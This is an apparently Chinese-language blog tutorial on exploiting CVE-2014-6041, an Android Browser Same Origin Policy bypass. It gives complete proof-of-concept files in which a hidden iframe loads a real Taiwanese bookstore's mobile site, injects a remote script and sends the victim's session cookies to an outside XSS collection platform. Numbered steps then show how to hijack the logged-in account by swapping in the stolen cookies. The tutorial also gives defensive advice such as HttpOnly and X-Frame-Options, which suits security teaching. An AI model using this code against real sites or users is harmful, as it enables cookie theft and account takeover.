Android Browser Same Origin Policy Vulnerability 漏洞利用實戰(CVE-2014-6041)

  • 2426
  • 0

摘要:Android Browser Same Origin Policy Vulnerability 漏洞利用實戰與防禦說明

【本篇僅供教學用途】
 
近期Android Browser爆出一個安全漏洞,該漏洞能繞過Same Origin Policy的安全機制(什麼是Same Origin Policy可以自行Google)
雖說是Android Browser的漏洞,不過CM Browser等一些Android瀏覽器也用同樣的核心,因此同樣有這個漏洞
這篇主要就是介紹如何透過這個漏洞模擬實作XSS攻擊,不過僅供教學用途,請勿對親友實作...
目前實際測試的結果是:Android 4.4版以下的Browser都會存在安全問題(除了三星的裝置之外,等等會說明)
 
 
這裡就以漏洞一來實作,問題來了,我又不知道什麼是Same Origin Policy?也沒有時間去學。我看上面的那些連結的POC都是只說明「怎樣偷取HTML網頁」,這好像也沒什麼?我根本就完全看不出來這漏洞的影響性是什麼?
對於廠商來說,可能會覺得又要加班做沒有實質意義的資安防護?乾脆不要做?反正那是Android的漏洞啦,跟我沒關係!
因此,這篇會以駭客的觀點思考,完整的說明該漏洞可怎樣利用,也直接說明了沒有做基本安全防護是怎樣的結果
不過在此之前您必須有XSS與HTTP Protocol的基本觀念
 
這個漏洞發生的主要原因是:
--------------------------------------------------------------------------------------
<iframe name="test" src="http://www.rhainfosec.com"></iframe><input type=button value="test" onclick="window.open('\u0000javascript:alert(document.domain)','test')" >
 
在「javascript:alert(...」前面只要多加了一個「\u0000」就可以繞過Same Origin Policy的安全檢查
--------------------------------------------------------------------------------------
 
所以要怎麼攻擊呢?先來說防禦措施:
 
給Web網站開發者的建議
 
給使用者的建議:
  • 勿點擊來路不明的連結
  • 升級裝置的系統至Android 4.4
  • 避免使用「永久登入」選項
  • 更換使用較安全的Android Chrome
 
目前舉凡大型網站如Facebook, Twitter, Google等都有針對HttpOnly和X-Frame-Options做安全設置,因此無法這麼容易的攻擊
找了一下台灣的網站,發現「博客來」好像沒有針對這兩個設定去設置,雖說這是Android的安全問題,不是博客來的問題,不過如果廠商可以避免XSS攻擊就應盡量去避免的
攻擊測試的情境是:「讓被害者先正常登入至博客來網站,之後只要傳送給被害者帶有惡意script的link,被害者用有漏洞的Android Browser開啟網頁後就被盜帳號了」
 
前置準備作業:
 
首先駭客先架設Server端網站,同個目錄下這包含了以下2個網頁和1個js檔:
------------------------------------------------------------------------------------------
[test.htm - 用來測試是否有安全漏洞,如果點下去有跑出Cookies就是有Android Browser漏洞存在]
<iframe name="test" src="http://m.books.com.tw" width="100%" height="500"></iframe>
<br />
<input type=button value="test" onclick="window.open('\u0000javascript:alert(document.cookie)','test')" >
------------------------------------------------------------------------------------------
[hack.htm - 這是真實測試的頁面,test.jpg可自行修改為自己喜歡的圖。當載入這個網頁後包含session id的cookies會自動上傳到遠端網站]
<html>
<iframe name="test" id="test" src="http://
m.books.com.tw/" width="0" height="0"></iframe>
<script>
     var try_times = 0;
     
     function exploit() {
          window.open('\u0000javascript:document.body.innerHTML="<script src=http://[your_domain]/test.js></scr"+"ipt>";','test');
     }
     
     document.getElementById("test").onload = function() {
          if (try_times < 1) {
               exploit();
          }
          try_times++;
     };
</script>
<body>
<img src="test.jpg" />
</body>
</html>
------------------------------------------------------------------------------------------
[test.js - 用這個js檔案來將cookies傳送到遠端的伺服器,這裡以http://lennyxss.sinaapp.com網站提供的XSS管理平台為範例]
location.href='http://lennyxss.sinaapp.com/index.php?do=api&id=[Your ID]&cookie='+encodeURIComponent(document.cookie);
------------------------------------------------------------------------------------------
 
以上三個檔案我改寫了原本的POC,讓之能傳送Cookies到駭客的Server端,來模擬XSS攻擊
這個修改後的POC原理是:將hack.htm的網址傳送給被駭者,hack.htm會開一個長寬都為0的iframe在背景自動載入至m.books.com.tw,當被駭者手機的Android瀏覽器載入完成後,會將帶有Session ID的Cookies上傳至伺服器(當然前提是要先登入目標網站的會員),當駭客偷取到Cookies時即可將Cookies替換為被駭者的Cookies,進而盜取帳號
所以很明顯的,如果特定網站的X-Frame-Options設為DENY,當瀏覽器透過iframe載入特定網站時就會被擋掉,進而能降低攻擊的機會
 
另外額外介紹一下Lenny XSS Platform,網址:http://lennyxss.sinaapp.com
看網域就可知道這是一個中國人做的免費XSS管理平台,當然您也可以自己建立管理平台,不過這只是測試所以就用現成的管理平台,基本上它只是幫忙接收HTTP GET的結果然後儲存而已
 
伺服器架設好了也設定好XSS管理平台後,就開始實戰測試了,這邊以模擬器來示範「被駭者」,以PC端Chrome瀏覽器來示範「攻擊者」
 
第一步:請對方(Android 4.3模擬器)用有漏洞的Android Browser登入至該網站
 
第二步:登入會員
 
第三步:確定已經登入了
 
第四步:放一本書進入購物車
 
第五步:進入test.htm網頁確認 1.iframe有成功載入網頁  2.按下Test按鈕後有出現Cookies  3.iframe和分頁的Cookies是共享的(如果一進入後就是在登入狀態的話就是共享的)
 
第六步:沒問題後就丟hack.htm的網址給被駭者,讓被駭者用有漏洞的Android Browser開啟吧!被駭者開啟後就會上傳Cookies到Server啦!這時候去lennyxss拿Cookies資料
 
第七步:攻擊者開啟PC上的Chrome瀏覽器可看到目前在未登入的狀態
 
第八步:用EditThisCookie將PHPSESSID、bid、cid、pd、cookie_cat、m_item_history等都改為自己偷到的內容吧!
 
第九步:修改完Refresh瀏覽器就可以看到已經擁有被駭者的權限了喔,之前被駭者選的同本書對吧!
 
以上,若是Android Browser沒有這個漏洞這樣攻擊就不會成功
 
另外實際測試,三星的裝置比較特別,雖然說在我的三星平板上目前這個漏洞還沒補,但他的客製化Browser會讓每個iframe在自己的Sandbox下,因此Cookies不會與原本的分頁共存,安全風險較小
 
如同食安問題被爆發出時再去追究責任就已經太慢了,所以「博客來」和「Mobile01」趕快啟用「HttpOnly」和「X-Frame-Options」的最基本的安全防護措施吧!